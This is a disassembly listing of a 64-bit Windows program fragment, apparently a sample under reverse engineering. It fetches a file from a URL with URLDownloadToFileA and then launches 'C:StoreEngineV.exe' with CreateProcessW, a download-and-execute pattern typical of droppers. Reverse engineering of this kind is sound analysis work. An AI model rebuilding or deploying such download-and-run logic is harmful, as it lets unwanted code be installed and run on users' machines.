mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x50]
call fcn.140049fd0
mov r12, rax
lea rax, [rsp + 0x50]
mov qword [rbp + 8], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
mov rbx, r13
lea rcx, [0x1404183d8]
inc rbx
cmp byte [rcx + rbx], 0
jne 0x14004b7f5
cmp rbx, rdi
ja 0x14004bd4d
mov qword [rsp + 0x68], send
cmp rbx, 0x10
jae 0x14004b835
mov qword [rsp + 0x60], rbx
mov r8, rbx
mov rdx, rcx
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x50], 0
jmp 0x14004b8d3
mov rsi, rbx
or rsi, 0xf
cmp rsi, rdi
jbe 0x14004b86d
mov rsi, rdi
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004b896
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14004b8aa
cmp rsi, 0x16
mov eax, socket
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x14004b89d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bcf9
jmp 0x14004b852
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14004b8aa
call fcn.140053fd8
mov r14, rax
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov r8, rbx
lea rdx, [0x1404183d8]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], 0
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
lea rsi, [0x140418310]
nop word [rax + rax]
inc r13
cmp byte [rsi + r13], 0
jne 0x14004b8f0
cmp r13, rdi
ja 0x14004bcb7
mov qword [rbp - 0x78], send
cmp r13, 0x10
jae 0x14004b930
mov qword [rbp - 0x80], r13
mov r8, r13
mov rdx, rsi
lea rcx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + r13 + 0x70], 0
jmp 0x14004b9ca
mov rax, r13
or rax, 0xf
cmp rax, rdi
jbe 0x14004b965
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140053fd8
test rax, rax
je 0x14004b991
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14004b9aa
mov rdi, rax
cmp rax, 0x16
mov eax, socket
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14004b998
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004bcff
jmp 0x14004b94a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14004b9a7
call fcn.140053fd8
mov rbx, rax
jmp 0x14004b9aa
mov rbx, r14
mov qword [rsp + 0x70], rbx
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], rdi
mov r8, r13
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r13], 0
lea rax, [rbp - 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
mov r9, r12
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x118]
call fcn.140047880
lea rcx, [rbp + 0x178]
mov rdi, qword [rbp + 0x178]
mov r14, qword [rbp + 0x190]
cmp r14, 0x10
cmovae rcx, rdi
mov r8, qword [rbp - 8]
mov rdx, r8
sub rdx, rcx
nop dword [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx + 0xe01], al
lea rcx, [rcx + 1]
test al, al
jne 0x14004ba20
lea rcx, [rbp + 0x198]
mov rbx, qword [rbp + 0x198]
mov rsi, qword [rbp + 0x1b0]
cmp rsi, 0x10
cmovae rcx, rbx
sub r8, rcx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [r8 + rcx + 0x1001], al
lea rcx, [rcx + 1]
test al, al
jne 0x14004ba60
lea rdx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rdx, qword [rbp + 0x118]
xor r15d, r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [0x14040c080]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rdx, qword [rbp + 0x130]
cmp rdx, 0x10
jb 0x14004bae8
inc rdx
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bae3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004bae3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140053ab0
movdqa xmm0, xmmword [0x14040ca20]
movdqu xmmword [rbp + 0x128], xmm0
mov byte [rbp + 0x118], r15b
cmp rsi, 0x10
jb 0x14004bb3a
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14004bb31
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004bb31
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140053ab0
nop
cmp r14, 0x10
jb 0x14004bb75
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14004bb6c
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004bb6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.140053ab0
nop
mov rdx, qword [rbp + 0x150]
cmp rdx, 0x10
jb 0x14004bbb9
inc rdx
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bbb4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004bbb4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140053ab0
movdqa xmm0, xmmword [0x14040ca20]
movdqu xmmword [rbp + 0x148], xmm0
mov byte [rbp + 0x138], 0
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x14004bc0e
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004bc09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004bc09
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140053ab0
mov dword [rbp + 0x1c0], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
movups xmmword [rbp + 0x1d8], xmm0
movups xmmword [rbp + 0x1e8], xmm0
movups xmmword [rbp + 0x1f8], xmm0
movups xmmword [rbp + 0x208], xmm0
movups xmmword [rbp + 0x218], xmm0
lea rax, [rbp + 0x230]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:StoreEngineV.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
nop
mov rcx, qword [rbp + 0x248]
xor rcx, rsp
call fcn.1400539c0
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140043fb0
nop
call fcn.140043f10
nop
call fcn.140043f10
nop
call fcn.140043f10
nop
call fcn.140043f10
nop
call fcn.140043f10
nop
call fcn.140043f10
nop
call fcn.140043f10
nop
call fcn.140043f10
nop
call fcn.140043f10
nop
call fcn.140043f10
nop
call fcn.140043f10
nop
call fcn.140043f10
nop
call fcn.140043fb0
int3
call fcn.140043f10
nop
call fcn.140043fb0
nop
call fcn.140043fb0
nop
call fcn.140043fb0
nop
call fcn.140043fb0
nop
call fcn.140043fb0
nop
call fcn.140043fb0
nop
call fcn.140043fb0
nop
call fcn.140043fb0
nop
call fcn.140043fb0
nop
call fcn.140043fb0
nop
call fcn.140043fb0
int3